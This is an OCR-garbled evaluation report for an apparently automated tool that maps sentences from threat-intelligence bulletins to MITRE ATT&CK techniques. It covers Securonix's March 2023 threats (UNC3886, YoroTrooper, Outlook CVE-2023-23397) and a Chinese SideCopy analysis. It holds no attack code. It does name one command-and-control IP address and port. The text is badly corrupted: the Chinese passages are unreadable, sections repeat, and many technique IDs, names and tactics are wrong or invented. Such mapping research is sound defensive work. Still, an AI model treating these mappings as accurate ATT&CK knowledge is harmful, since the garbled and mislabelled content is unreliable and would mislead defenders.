'TA0001', 'tactic': 'Initial Access', 'tid":

'T1192', 'technique': 'Spearphishing Link'}]
For a full list of the search queries used on [{'taid": 'TA0005', 'tactic': 'Defense Evasion', [0]
Autonomous Threat Sweeper for the threats 'tid": 'T1560', 'technique': 'Archive Collected
detailed above, refer to our Threat Labs home Data'}]
page.
The page also references a list of relevant [{'taid": 'TAO004', 'tactic': 'Collection’, 'tid": [0]

policies used by threat actors.

'T1539', 'technique': 'Steal Web Session
Cookie'}l]




Please reach out to us at scia@securonix.com. | [{'taid": 'TA0007', 'tactic': 'Exfiltration’, 'tid": 1 [0]
'T1041', 'technique': 'Exfiltration Over
Command and Control Channel'}]

Note: The TTPs when used in silo are prone to [{'taid": 'TA0012', 'tactic': 'Impact’, 'tid": 1 [0]

false positives and noise and should ideally be
combined with other indicators mentioned.

'T1497', 'technique': 'Virtual Private Server'}]

Expert Review Result

text tts ttps_pred_count | ttps_accept_idx
The report additionally provides a synopsis of [{'taid": 'TAO00O1", 'tactic': 'Initial Access', 'tid": | 4 0
the threats; indicators of compromise (loCs); ‘T1200', 'technique': 'Hardware Additions'},
tactics, techniques, and procedures (TTPs); and | {'taid": 'TA0O001', 'tactic": 'Initial Access', 'tid":
related tags. 'T1201', 'technique': 'Password Policy
Discovery'}, {'taid': 'TA0001', 'tactic': 'Initial
Access', 'tid": 'T1190', 'technique': 'Exploit
Public-Facing Application'}, {'taid': 'TA0001",
'tactic': 'Initial Access', 'tid": 'T1210',
'technique': 'Exploit Client Software'}]
For additional information on Threat Labs and [{'taid": 'TAO009', 'tactic': 'Collection’, 'tid": 3 0
related search queries used via Autonomous 'T1005', 'technique': 'Data from Local
Threat Sweeper to detect the below mentioned | System'}, {'taid": "'TA0040', 'tactic":
threats, refer to our Threat Labs home page. ‘Command and Control', 'tid": 'T1071",
'technique': 'Application Layer Protocol'},
{'taid': 'TA0004', 'tactic': 'Persistence’, 'tid":
'T1505', 'technique': 'Server Software
Component'}]
In March 2023, Threat Labs analyzed and [{'taid": 'TA0043', 'tactic': 'Command and 1 0
monitored major threat categories, including Control', 'tid": 'T1071"', 'technique': 'Standard
multiple cyber campaigns involving attacks from | Application Layer Protocol'}]
APT groups originating from China, ChatGPT
cyber campaign, and vulnerabilities seen from
Telerik, Fortinet and Microsoft Office Outlook.
Of note a suspected Chinese hacking group [{'taid": 'TAO001", 'tactic': 'Initial Access', 'tid": | 1 [0]
UNC3886 has been linked to a series of attacks | 'T1190', 'technique': 'Exploit Public-Facing
on government organizations exploiting a Vulnerability'}]
Fortinet zero-day vulnerability (CVE-2022-41328)
to deploy malware.
FortiGate and FortiManager devices were [{'taid": 'TAO001', 'tactic': 'Initial Access', 'tid": | 2 [0]
compromised as well due to the connections to | 'T1210', 'technique': 'Exploit Client
VIRTUALPITA from the Fortinet management IP | Software'}, {'taid": 'TA0005', 'tactic': 'Defense
addresses. Evasion', 'tid": 'T1566', 'technique':
'Phishing'}]
In March 2023, Securonix Autonomous Threat [{'taid": 'TAO006', 'tactic': 'Detection’, 'tid": 5 0
Sweeper identified 3,839 TTPs and I0Cs, 122 'T1059', 'technique': 'Command-Line
distinct threats, and reported 36 threat Interface'}, {'taid': 'TA0006', 'tactic":
detections. 'Detection’, 'tid": 'T1106', 'technique’:
'Execution through API'}, {'taid': 'TA0040',
'tactic': 'Command and Control', 'tid":
'T1071", 'technique': 'Application Layer
Protocol'}, {'taid': 'TA0009', 'tactic":
'Collection’, 'tid": 'T1005', 'technique': 'Data
From Local System'}, {'taid": 'TA0006',
'tactic': 'Detection’, 'tid": 'T10583', 'technique':
'Scheduled Task'}]
The top data sources swept against include [{'taid": 'TA0040', 'tactic': 'Command and 2 0
IDS/IPS/UTM/Threat Detection, Endpoint Control', 'tid": 'T1071", 'technique':
Management Systems, Data Loss Prevention, 'Application Layer Protocol'}, {'taid":
and Email/Email Security. 'TA0009', 'tactic': 'Collection’, 'tid': 'T1005',
'technique': 'Data from Local System'}]
Cyberespionage group APT27, also known as [{'taid": 'TAO0O1", 'tactic': 'Initial Access', 'tid": |3 0

Iron Tiger, has created a new Linux version of its
SysUpdate custom remote access malware,

'T1195', 'technique': 'Supply Chain
Compromise'}, {'taid": 'TA0002', 'tactic':




enabling more enterprise services to be
targeted.

'Execution’, 'tid": 'T1059', 'technique:
'‘Command-Line Interface'}, {'taid': "'TA0002',
'tactic': 'Execution’, 'tid': 'T1106', 'technique':
'Execution through API'}]

A new cyber-espionage campaign targeting [{'taid": 'TAO0O1', 'tactic': 'Initial Access', 'tid": 0
governments and energy agencies in 'T1192', 'technique': 'Spearphishing Link'},
Commonwealth of Independent States (CIS) {'taid': 'TA0009', 'tactic': 'Collection’, 'tid":
countries has been carried out by the threat ‘T1003', 'technique': 'Credential Dumping'},
actor named ‘YoroTrooper* since June 2022. {'taid": 'TA0010', 'tactic': 'Exfiltration’, 'tid":
'T1030', 'technique': 'Data Transfer Size
Limits'}]
Several European embassies, the World [{'taid": 'TAO003', 'tactic': 'Persistence’, 'tid": 0
Intellectual Property Organization (WIPO), and a | 'T1547', 'technique': 'Boot or Logon Autostart
key European Union healthcare agency have Execution'}, {'taid": 'TA0009', 'tactic':
been compromised by the threat actor. 'Collection’, 'tid": 'T1074', 'technique': 'Data
Staged'}]
YoroTrooper uses a number of tools, including [{'taid": 'TAO009', 'tactic': 'Collection’, 'tid": [0, 1]
commodity and custom information stealers, 'T1003', 'technique': 'Credential Dumping'},
remote access trojans, and Python-based {'taid': 'TA0010', 'tactic': 'Exfiltration’, 'tid":
malware. 'T1030', 'technique': 'Data Transfer Size
Limits'}]
The infection is transmitted via phishing emails | [{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid": [0]
containing decoy PDF documents and malicious | 'T1566', ‘technique': 'Phishing'}]
LNK attachments.
According to researchers, YoroTrooper [{'taid": 'TA0010', 'tactic': 'Exfiltration’, 'tid": 0
exfiltrates large amounts of data from infected | 'T1020', 'technique': 'Automated Exfiltration'},
devices, including cookies and browsing history. | {'taid": 'TA0009', 'tactic': 'Collection’, 'tid":
'T1074', 'technique': 'Data Staged'}, {'taid":
'"TA0010', 'tactic': 'Exfiltration’, 'tid': 'T1002',
'technique': 'Data Compressed'}]
A gambling company in the Philippines was one | [{'taid": 'TA0040', 'tactic': 'Command and 0
of the victims of the Iron Tiger campaign, which | Control', 'tid": 'T1563', 'technique': ‘Domain
used a command and control server with a Generation Algorithms'}, {'taid': 'TA0012',
domain similar to the victims. 'tactic': 'Lateral Movement', 'tid': 'T1490',
'technique': 'Domino'}]
The YoroTrooper group used corrupt PDF files [{'taid": 'TAO0O1', 'tactic': 'Initial Access', 'tid": 0
to target Belarusian entities in the summer of 'T1566', 'technique': 'Phishing'}]
2022.
It registered several typosquatting domains [{'taid": 'TA0040', 'tactic': 'Command and 0
mimicking Russian government entities in Control', 'tid": 'T1563', 'technique': 'Domain
September 2022. Generation Algorithms'}]
Threat actors used HTA to download decoy [{'taid": 'TA0002', 'tactic': 'Execution’, 'tid": [6]
documents and dropper implants onto target 'T1203', 'technique': 'Exploitation for Client
systems by deploying a custom Python stealer | Execution'}, {'taid": 'TA0010', 'tactic':
against the governments of Tajikistan and ‘Exfiltration’, 'tid": 'T1041", 'technique':
Uzbekistan in 2023. 'Exfiltration Over C2 Channel'}, {'taid":
"TA0009', 'tactic': 'Collection’, 'tid': 'T1003',
'technique': 'Credential Dumping'}, {'taid":
'TA0009', 'tactic': 'Collection’, 'tid": 'T1114',
'technique': 'Email Collection'}, {'taid":
'TA0001', 'tactic': 'Initial Access', 'tid":
'T1184', 'technique': 'Multi-Stage Channels'},
{'taid': 'TA0009', 'tactic': 'Collection’, 'tid":
'T1002', 'technique': 'Data Compressed'},
{'taid': 'TA0002', 'tactic': 'Execution’, 'tid":
'T1105', 'technique': 'Ingress Tool Transfer'},
{'taid': 'TA0002', 'tactic': 'Execution’, 'tid":
'T1059', 'technique': 'Command-Line
Interface'}]
Currently, malicious RAR and ZIP attachments [{'taid": 'TAO0O1', 'tactic': 'Initial Access', 'tid": [0]

are being used in phishing emails in connection
with national strategy and diplomacy.

'T1566', 'technique': 'Phishing'}]




an unknown threat actor exploiting a security [{'taid": 'TAO0O1', 'tactic': 'Initial Access', 'tid": [0]
flaw in Fortinet FortiOS software 'T1190', 'technique': 'Exploit Public-Facing
Application'}]
This exploit demonstrates an advanced actor [{'taid": 'TAO0O1', 'tactic': 'Initial Access', 'tid": 0
specifically targeting governmental or 'T1193', 'technique': 'Spearphishing
government-related targets. Attachment'}]
FortiOS version 7.2.0 through 7.2.3 [{'taid": 'TAO003', 'tactic': 'Persistence’, 'tid": 0
'T1547', 'technique': 'Boot or Logon Autostart
Execution'}, {'taid": 'TA0002', 'tactic':
'Execution’, 'tid": 'T1102', 'technique': 'Web
Service'}]
FortiOS version 7.0.0 through 7.0.9 [{'taid": 'TAO003', 'tactic': 'Persistence’, 'tid": 0
'T1547', 'technique': 'Boot or Logon Autostart
Execution'}, {'taid": 'TA0002', 'tactic':
'Execution’, 'tid": 'T1083', 'technique': 'File
and Directory Permissions Modification'}]
FortiOS version 6.4.0 through 6.4.11 [{'taid": 'TAO003', 'tactic': 'Persistence’, 'tid": 0
'T1547', 'technique': 'Boot or Logon Autostart
Execution'}]
FortiOS 6.2 all versions [{'taid": 'TAO003', 'tactic': 'Persistence’, 'tid": 0
'T1547', 'technique': 'Boot or Logon Autostart
Execution'}]
FortiOS 6.0 all versions [{'taid": 'TAO003', 'tactic': 'Persistence’, 'tid": 0
'T1547', 'technique': 'Boot or Logon Autostart
Execution'}]
suspected Chinese hacking group UNC3886, [{'taid": 'TAO0O1', 'tactic': 'Initial Access', 'tid": [0]
has been linked to a series of attacks on 'T1203', 'technique': 'Exploitation for Client
government organizations exploiting a Fortinet | Execution'}]
zero-day vulnerability (CVE-2022-41328) to
deploy malware.
Additionally, the FortiGate devices with Federal | [{'taid": 'TAO003', 'tactic': 'Persistence’, 'tid": 0
Information Processing Standards (FIPS) 'T1070', 'technique': 'Indicator Removal on
compliance mode enabled failed to boot after it | Host'}]
was later rebooted.
Threat Labs observed threat actors using [{'taid": 'TAO003', 'tactic': 'Persistence’, 'tid": 0
access via the FortiManager device 'T1547', 'technique': 'Boot or Logon Autostart
Execution'}, {'taid": 'TA0005', 'tactic':
'Defense Evasion', 'tid": 'T1036', 'technique':
'Masquerading'}, {'taid': 'TA0008', 'tactic":
'Privilege Escalation', 'tid': 'T1574',
'technique': 'Privilege Escalation via
Exploitation of Named Kernel Vulnerability'}]
Threat Labs observed cyber espionage [{'taid": 'TA0001", 'tactic': 'Initial Access', 'tid": [0]
operators exploiting zero-day vulnerabilities and | 'T1203', 'technique': 'Exploitation for Client
deploying custom malware to Internet-exposed | Execution'}, {'taid": 'TA0003', 'tactic':
systems as an initial attack vector. 'Persistence’, 'tid': 'T1547', 'technique': 'Boot
or Logon Autostart Execution'}, {'taid":
'TA0002', 'tactic': 'Execution’, 'tid": 'T1064',
'technique': 'Scripting'}, {'taid': "'TA0008',
'tactic': 'Privilege Escalation’, 'tid": 'T1055',
'technique': 'Process Injection'}]
Threat Labs learned that the threat actor uses a | [{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid": [0]

local zero-day vulnerability in FortiOS (CVE-
2022-41328) and deploys multiple custom
malware families on Fortinet and VMware
systems

'T1203', 'technique': 'Exploitation for Client
Execution'}, {'taid": 'TA0002', 'tactic':
'Execution’, 'tid": 'T1045', 'technique":
'Software Packing'}, {'taid': 'TA0010', 'tactic':
'Exfiltration’, 'tid": 'T1041', 'technique":
'Exfiltration Over C2 Channel'}, {'taid":
'TA0001', 'tactic': 'Initial Access', 'tid":
'T1195', 'technique': 'Supply Chain
Compromise'}]




Securonix Threat Labs is actively monitoring [{'taid": 'TA0001", 'tactic': 'Initial Access', 'tid": 0
running campaigns by a suspected Chinese 'T1195', 'technique': 'Supply Chain
hacking group UNC3886 and other threat actors | Compromise'}, {'taid": 'TA0001', 'tactic':
that are targeting government entities and large | 'Initial Access', 'tid": 'T1193', 'technique':
organizations. 'Spearphishing Attachment'}, {'taid":
'TA0001', 'tactic': 'Initial Access', 'tid":
'T1203', 'technique': 'Exploitation for Client
Execution'}]
Threat Labs observed threat actors using [{'taid": 'TA0003', 'tactic': 'Persistence’, 'tid": 0
access via the FortiManager device 'T1547', 'technique': 'Boot or Logon Autostart
Execution'}, {'taid": 'TA0005', 'tactic":
'Defense Evasion', 'tid": 'T1036', 'technique':
'Masquerading'}, {'taid': 'TA0008', 'tactic":
'Privilege Escalation', 'tid': 'T1574',
'technique': 'Privilege Escalation via
Exploitation of Named Kernel Vulnerability'}]
Threat Labs observed cyber espionage [{'taid": 'TA0001", 'tactic': 'Initial Access', 'tid": [0]
operators exploiting zero-day vulnerabilities and | 'T1203', 'technique': 'Exploitation for Client
deploying custom malware to Internet-exposed | Execution'}, {'taid': 'TA0003', 'tactic':
systems as an initial attack vector. 'Persistence’, 'tid': 'T1547', 'technique': 'Boot
or Logon Autostart Execution'}, {'taid":
'TA0002', 'tactic': 'Execution’, 'tid": 'T1064',
'technique': 'Scripting'}, {'taid': "'TA0008',
'tactic': 'Privilege Escalation’, 'tid": 'T1055',
'technique': 'Process Injection'}]
Threat Labs learned that the threat actor uses a | [{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid": [0]
local zero-day vulnerability in FortiOS (CVE- 'T1203', 'technique': 'Exploitation for Client
2022-41328) and deploys multiple custom Execution'}, {'taid": 'TA0002', 'tactic":
malware families on Fortinet and VMware ‘Execution’, 'tid": 'T1045', 'technique":
systems 'Software Packing'}, {'taid': "'TA0010', 'tactic":
'Exfiltration’, 'tid": 'T1041', 'technique":
'Exfiltration Over C2 Channel'}, {'taid":
'TA0001', 'tactic': 'Initial Access', 'tid":
'T1195', 'technique': 'Supply Chain
Compromise'}]
Bitdefender confirmed that a phishing campaign | [{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid": [0]
uses a fake ChatGPT platform to swindle 'T1566', 'technique': 'Phishing'}]
investors.
In their analysis, researchers at G DATA have [{'taid": 'TAO005', 'tactic': 'Defense Evasion', 0
identified ChatGPT’s real doppelganger, 'tid": 'T1565', 'technique': 'Modify Web
chatgpt-go[.Jonline. Session Cookie'}, {'taid": 'TA0006', 'tactic':
'Credential Access', 'tid": 'T1557", 'technique':
'Man-in-the-Middle'}]
However, users will see the same webpage on [{'taid": 'TA0005', 'tactic': 'Defense Evasion', 0
the fake website as they would on ChatGPT’s 'tid": 'T1563', 'technique': 'Use Alternate
official site. Moreover, its website uses HTTPS | Authentication Material'}, {'taid': 'TA0005',
to ensure that users are communicating ‘tactic': 'Defense Evasion', 'tid": 'T1556",
securely with the website’s server by encrypting | 'technique’: 'Modify Registry'}]
data traffic between their web browsers and the
website’s server.
Securonix Threat Labs is actively monitoring [{'taid": 'TA0001", 'tactic': 'Initial Access', 'tid": 0
running campaigns by threat actors / hackers 'T1566', 'technique': 'Phishing'}, {'taid":
that are targeting ChatGPT All. 'TA0002', 'tactic': 'Execution’, 'tid': 'T1083',
'technique': 'File and Directory Discovery'},
{'taid': 'TA0003', 'tactic': 'Persistence’, 'tid":
'T1547', 'technique': 'Boot or Logon Autostart
Execution'}]
CISA, FBI, and MS-ISAC issued a joint advisory | [{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid": 0

reporting the attackers accessed the server
between November 2022 and early January 2023
based on indicators of compromise (loCs) on
the unnamed federal civilian executive branch
(FCEB) agency’s network.

'T1205', 'technique': 'Port Scanning'}, {'taid":
'TA0001', 'tactic': 'Initial Access', 'tid":
'T1210', 'technique': 'Exploits via SMB'}]




It is believed that at least two threat actors (one | [{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid": [0]
of them the Vietnamese XE Group) exploited this | 'T1203', 'technique': 'Exploitation for Client
bug CVE-2019-18935 (CVSS score: 9.8) to gain Execution'}]
remote access to the unpatched server.
Hackers compromised the FCEB agency’s [{'taid": 'TA0010', 'tactic': 'Exfiltration', 'tid": 1,2]
server and deployed malicious payloads in 'T1048', 'technique': 'Exfiltration Over
C:/Windows/Temp/ to collect data and transmit | Alternative Protocol'}, {'taid": "'TA0010',
it to attacker-controlled command and control 'tactic': 'Exfiltration’, 'tid": 'T1041",
servers. 'technique': 'Exfiltration Over C2 Channel'},
{'taid': 'TA0002', 'tactic': 'Execution’, 'tid":
'T1005', 'technique': 'Data from Local
System'}]
Threat Labs observed a threat actor tracked as | [{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid": [0]
Praying Mantis (aka TG2021) has also 'T1203', 'technique': 'Exploitation for Client
weaponized CVE-2019-18935, along with CVE- Execution'}, {'taid": 'TA0002', 'tactic':
2017-11317, to infiltrate U.S. public and private | 'Execution’, 'tid": 'T1189', 'technique': 'Drive-
networks. by Compromise'}, {'taid': 'TA0002', 'tactic':
'Execution’, 'tid": 'T1192', 'technique":
'Spearphishing Link'}]
Microsoft Office Outlook privilege escalation [{'taid": 'TAO00O8', 'tactic': 'Privilege 0
vulnerability(Originally published in March 2023) | Escalation’, 'tid": 'T1548', 'technique': 'Abuse
Accessibility Features'}, {'taid': 'TA0008',
'tactic': 'Privilege Escalation’, 'tid": 'T1547",
'technique': 'Boot or Logon Autostart
Execution'}]
Microsoft has observed and announced a new [{'taid": 'TAO005', 'tactic': 'Defense Evasion', 0
high severity vulnerability with the code CVE- 'tid": 'T1553", 'technique': 'Subvert Trust
2023-23397 in Outlook for Windows that is being | Controls'}, {'taid": 'TA0006', 'tactic':
exploited to steal NTLM credentials. 'Credential Access', 'tid': 'T1003', 'technique':
'Credential Dumping'}]
Researchers from ASEC have analyzed the [{'taid": 'TAO0O1', 'tactic': 'Initial Access', 'tid": 0
Microsoft vulnerability in Outlook for Windows 'T1192', 'technique': 'Spearphishing Link'}]
as well and confirms it is being exploited to
steal NTLM credentials.
CVE-2023-23397 is an elevation of privilege [{'taid": 'TAO00O8', 'tactic': 'Privilege 0
vulnerability in Microsoft Outlook. Escalation', 'tid': 'T1548', 'technique': 'Abuse
Accessibility Features'}, {'taid": 'TA0008',
'tactic': 'Privilege Escalation’, 'tid": 'T1547",
'technique': 'Boot or Logon Autostart
Execution'}]
It is a zero-touch exploit that is a security gap [{'taid": 'TA0002', 'tactic': 'Execution’, 'tid": 0
that has low complexity and requires no user 'T1202', 'technique': 'Indirect Command
interaction. Execution'}]
In most cases, the attacker sends a message to | [{'taid": 'TA0001', 'tactic': 'Initial Access', 'tid": 0
the victim with an extended Message 'T1193', 'technique': 'Spearphishing
Application Program Interface (MAPI) property | Attachment'}, {'taid': 'TA0002', 'tactic':
with a Universal Naming Convention (UNC) path | 'Execution’, 'tid": 'T1105', 'technique':
to a remote attacker-controlled Server Message | 'Remote File Copy'}, {'taid": 'TA0002', 'tactic':
Block (SMB, via TCP 445). 'Execution’, 'tid": 'T1048', 'technique:
'Exfiltration Over Alternative Protocol'}]
Securonix Threat Labs recommends leveraging | [{'taid": "'TA0004', 'tactic': 'Collection’, 'tid": 0
our findings to deploy protective measures for 'T1530', 'technique': 'Data from Cloud
increased threats from this malware. Storage Object'}]
Implement network segmentation and maintain | [{'taid': 'TAO003', 'tactic': 'Persistence’, 'tid": 0
offline backups of data to ensure limited 'T1490', 'technique': 'Inhibit System
interruption to your organization. Recovery'}, {'taid": 'TA0003', 'tactic':
'Persistence’, 'tid': 'T1498', 'technique':
'Network Denial of Service'}]
Apply the vendor patches immediately. [{'taid": 'TAO005', 'tactic': 'Defense Evasion', 0

Microsoft has released a patch as part of their
March 2023 Monthly Security Update.

'tid": 'T1210', 'technique': 'Exploits via SMB'}]




false positives and noise and should ideally be
combined with other indicators mentioned.

'T1497', 'technique': 'Virtual Private Server'}]

Block TCP 445/SMB outbound from your [{'taid": 'TAO0O1", 'tactic': 'Initial Access', 'tid": | 2 0
network. 'T1043', 'technique': 'Commonly Used Port'},
{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid":
'T1205', 'technique': 'Port Scanning'}]
Customers can disable the WebClient service. [{'taid": 'TAO00O5', 'tactic': 'Defense Evasion', |1 0
Note that this will block all WebDAV 'tid": 'T1562', 'technique': 'Impair Defenses'}]
connections, including intranet.
Add users to the Protected Users Security [{'taid": 'TA0002', 'tactic': 'Execution’, 'tid": 1 0
Group. 'T1069', 'technique': 'Permission Groups
Discovery'}]
Enforce SMB sign on for clients and servers to [{'taid": 'TAO006', 'tactic': 'Credential Access', |2 0
prevent a relay attack. 'tid": 'T1214", 'technique': 'Credentials in
Files'}, {'taid': 'TAO006', 'tactic': 'Credential
Access', 'tid": 'T1210', 'technique': 'Exploits
via SMB'}]
28 10Cs are available on our Threat Labs home | [{'taid': 'TA004', 'tactic': 'Collection’, 'tid": 1 0
page and have been swept against Autonomous | 'T1513', 'technique': 'Data from Local
Threat Sweeper customers. System'}]
Tags: Vulnerability: Microsoft vulnerability CVE- | [{'taid': "'TA000S', 'tactic': 'Defense Evasion', |4 0
2023-23397 in Outlook | Exploitation: steal NTLM | 'tid': 'T1210', 'technique': 'Exploits via SMB'},
credentials [Target areas: Government, {'taid': 'TA0008', 'tactic': 'Privilege
transport, energy, and military sectors | Target Escalation', 'tid': 'T1548', 'technique': 'Abuse
location: Europe and Latin America. Accessibility Features'}, {'taid": 'TA0006',
'tactic': 'Credential Access', 'tid": 'T1003',
'technique': 'Credential Dumping'}, {'taid":
'TA0001', 'tactic': 'Initial Access', 'tid":
'T1192', 'technique': 'Spearphishing Link'}]
For a full list of the search queries used on [{'taid": 'TAO005', 'tactic': 'Defense Evasion', |1 0
Autonomous Threat Sweeper for the threats 'tid": 'T1560', 'technique': 'Archive Collected
detailed above, refer to our Threat Labs home Data'}]
page.
The page also references a list of relevant [{'taid": 'TAO004', 'tactic': 'Collection’, 'tid": 1 0
policies used by threat actors. 'T1539', 'technique': 'Steal Web Session
Cookie'}l]
Please reach out to us at scia@securonix.com. [{'taid": 'TAO0O7', 'tactic': 'Exfiltration', 'tid": 1 0
'T1041', 'technique': 'Exfiltration Over
Command and Control Channel'}]
Note: The TTPs when used in silo are prone to [{'taid": 'TA0012', 'tactic': 'Impact’, 'tid": 1 0

Test Report 8 Sidecopy £8 ZR 1% 37T A S X EJE R A Bt

URL: https://mp.weixin.qq.com/s/Lb NYxhi91JgmvI2wjY9qg

TTPExtractor Infer Result

BIFfEE LNK X458 DOC X5 Rk ERR
.

', 'tid": 'T1566.001", 'technique’: '&
XA W BB

sent ttps entities ttps_pred_count | ttps_accept_idx
Sidecopy EELAEREBFHBEHIEAD ZIP B4 | [{'taid': 'TA0001', tactic': '¥D#&ikla | [ malware’, (1 [0]
'Sidecopy']]

Sidecopy AATENENEEREFHRKIBAR
RTAENRE, MENEBFNESAGNHET
TEIRIRERTTR, (EFREXEZAREENENER
AAMEMBFARAPSERES, WEIRHR

[{'taid": "TA0001", ‘tactic’: '¥I4aiAa | 0
', 'tid": 'T1566.001", ‘technique’: '&
XA EBEHIE

U]




USB i& &R EENEFR E i FRIBRMNES A
40

ZNo

EWREESND, HESEBDBAAMENRE | [('taid': 'TA0001, ‘tactic': 'FItaiAE |0 [0, 1]
HTAENFIEE, BTHBMERAMREFAXMH |, tid': 'T1566.001', 'technique’: '&
BEHEMGREARESE, XA EREHHEF), {'taid":
‘TA0005', 'tactic': 'BhfEIk%', 'tid":
'T1553.005', 'technique': 'MOTW
ZoR)
HSEEBREHITIEEXGZE, BFEIESM |[{'taid': 'TA0005', 'tactic': 'FHiHikie [’[AmlfF'{VE_fI‘]%]', [0]
cl
InFEARSS 2% P REBIEXXHRIAMHABEBRRIT, & |, tid': 'T1140', 'technique': '#HEE
LINETIEERME AckRAT, FERS X EE R
TERBMSIETIRG, BAIBRBIRTIIAIES | ['taid: 'TA0001', 'tactic’: 'Fiaia |0 (0]
i, AEEHEEXM, 1RIE Sidecopy —BRAII |, 'tid': 'T1566', 'technique': "B
EHEFERE, BNBENDERESEFMNZEER | T
WG ER M, B ERF PR EIRZEE AT
FEHEEXH, HERAEEPH Ink X¥,
fRIES BRI % Adobe FIiELE Ink X [{'taid": 'TA0005", 'tactic': 'Ffuti% | [ [0]
1, Ink X{E2ZEERHVIFRERE . ', 'tid": 'T1564.001", 'technique': '&
EXHFE R
iELE Ink XHF#iToH, EERRSRHN [{'taid": 'TA0005', 'tactic': 'Fhfski% | [ [0, 1]
mshta.exe I5EESHIEENE Ssynergy A S EM ', 'tid": 'T121§.005', 'technique'l:
X L 'mshta'}, {'taid": 'TA0011', 'tactic": '
TWEgﬁﬁmﬁ'o ﬁ@g;gﬁu.) Itid': IT1105',
'technique: ' T E[EAEH")]
ETIEESIIXHS delegation.hta, 2 [{'taid': 'TA0002, 'tactic’: '#4T", |0 (0]
Sidecopy &FIEYg JS R Zs., ‘'tid": "'T1059.007", 'technique":
'JS'Y]
delegation.hta HEXEINEERAEFHME; [{'taid': 'TAO005', 'tactic': Btk | [ [0]
preBotHta.dll, #ifF preBotHta.dll FAY ', 'tid" T 5‘74-002" ‘technique':
PinkAgain &%, DLL IS
PinkAgain &SR8 JS RIBRIREMS | [('taid: 'TA0002', ‘tactic’: 47",  |['malware’, [0, 1]
i€, BIGELE PDF XA RS ‘'tid": "'T1059.007", 'technique": PinkAga'l
'JS'}, {'taid': 'TA0005', 'tactic': 'BA
k&', tid': 'T1140', 'technique': '
ERERIEXHRERY
RSB JS MIAEBMRRERRRERFLEN | [('taid: 'TA0005', ‘tactic': Fhtiki |0 [0]
TAR, BESFRAP, FEZRMRIREE |, tid': 'T1140, 'technique’: '#BRIE
BE—19%, BREESNBEERBHNT— | BEXHHERY
AIHATCM .
BT Trex.exe fh3ERE Trex T8R4, [{'taid': 'TA0005', 'tactic’: 'tk | 0 [0

', 'tid": 'T1036', 'technique': '{A3%'}]




BARSHZEEED, GFRMA. AF | [{'tad': 'TA0007', ‘tactic’: '&ZH', I 1 [0]
2. RER. RERSE, 'tid": 'T1082', 'technique': 'R 415
BRI
REIBETIERRRE C2: [{'taid": 'TA0010, ‘tactic’: '#iEER | [ 1 [0]
209.126.81.42, i)y 444, FHEEHT C23REAY |, 'tid": 'T1041', 'technique': 'C2 &
iR, S C2REMEIEAT 1 F1H, 7R & LNEEEREY
NimiEiiig, ZTN—EER, mEFREEEEH
C2 —HiREBIEFRY,
SRENIS EBE12 THOBRA IR R BHR, ## | [('taid: 'TAO010', tactic: '#uiEsR |0 1 [0]
BENRIERIIEERMBZIZR R ', 'tid": 'T1041', 'technique': 'C2 &
E EREIESRY
[ C2 Ri£=R’ack’fa, 1B C2 REIREIEH | [{'taid': 'TAO011", 'tactic’: ‘@& 5ix | 1 [0]
BAXEHELRRT #', 'tid": 'T1105', 'technique’: 'TH
B AE
5152 d'ThgE—, RAETFE C2 £iE= [{'taid': 'TA0011", 'tactic: '@&5#x | [ 1 [0]
Rack’fg, U C2 REIRIEIES NXX{FHMIT | Hll', 'tid": 'T1105', 'technique': 'TH
B AE ]
T B 6 R ST A4 Bl S A4 3K [{'taid': 'TA0005', 'tactic’: 'tk | 0 1 [0]
', 'tid": 'T1070.004', ‘technique': 'Hil
B SHIRIE Y
L C2 IEEBB THIXMF [{'taid': 'TA0010, 'tactic': '£iEs5iR | 0 1 [0]
', 'tid': 'T1041", 'technique': 'C2 1&
EEREIESIRY
BRHKRZE [{'taid": 'TAO009', 'tactic': 'SREE", I 1 [0]
tid': 'T1113", 'technique’: 'E/R'}]
HIR Sidecopy fRIFMEEEM EXBMYIBEEH | [{'taid": 'TA0006', 'tactic': "EiEikla) | [ 1 [0]
© RAT fIR#&, #RIEFFEHIEESTAY DetaRAT | ', 'tid": 'T1555.003', 'technique': ‘M
SRR INAMER 5T 25 2 B AU TN EE . HITESRIRER I Y]
Expert Review Result
sent ttps entities ttps_pred_count | ttps_accept_idx
Sidecopy EELA(EF B FHRLEHIEET ZIP E4 | [{'taid': 'TA0001", ‘tactic': '#IFATAIE) [grzalwarel', 1 [0]
SIS LNK X5 DOC IEHREEK |, tid" T1566.001", technique’: & | 0 )
. XA EBEME]
Sidecopy AT EMENEEBEMRERMAR | [('taid': 'TA0001, ‘tactic': '#aiAE) | I 1 0

HITAENRE, WENEBFNEEAGNHT
ERETR), EHEXNERAREENENER
ALANMEMBATARPSEZEE, SBEIRE
USB i& &R EENEFR E TR BRI ES A
M

ZNo

', 'tid": 'T1566.001", 'technique’: '&
XA W BB




FERREEND, KEEEBNDERAMARE | ['taid: 'TA0001', 'tactic’: ‘FItaiHIE |0 [0]
HTAENIEE, BTHBRERAMREAXMH |, tid': 'T1566.001', 'technique’: '&
BEHEMGREARESE, XA EREHHF), {'taid":
'TA0005', 'tactic’: 'Bh{EIk&, 'tid":
'T1553.005', 'technique': 'MOTW
Zd
HSEEBREHITIEEXHZE, BFEIESM |[{'taid': 'TA0005', 'tactic': 'FHiHlikie F,[Amfgﬂ-rf]a]l' [0]
cl
InFEARSS 2% P REBIEXXHRIAMHBEBRRIT, & |, tid': 'T1140', 'technique': '#HRE
LINFITIREREF AckRAT, FERS X EE R
TERBMSIET RS, BIRBIRTIIARES | ['taid: 'TA0001', 'tactic’: ‘Fiaia |0 (0]
i, AEEHEEXM, 1RIE Sidecopy —BRAII |, 'tid': 'T1566', 'technique': "B
EFERE, BNBENDERESFNZEER | T
WG ER M, B ERF PR EIRZEE AT
FEHEEXH, HERAEEPH Ink X¥,
fREE B SRR {4 Adobe HiEE Ink X [{'taid': 'TAO005', 'tactic': Btk | [ [0]
1, Ink X{E2ZEERHVIFKERE . ', 'tid": 'T1564.001", 'technique': '&
ESHFE R
iELE Ink XF#iToH, EERRSRHN [{'taid": 'TA0005', 'tactic': 'k | [ [0, 1]
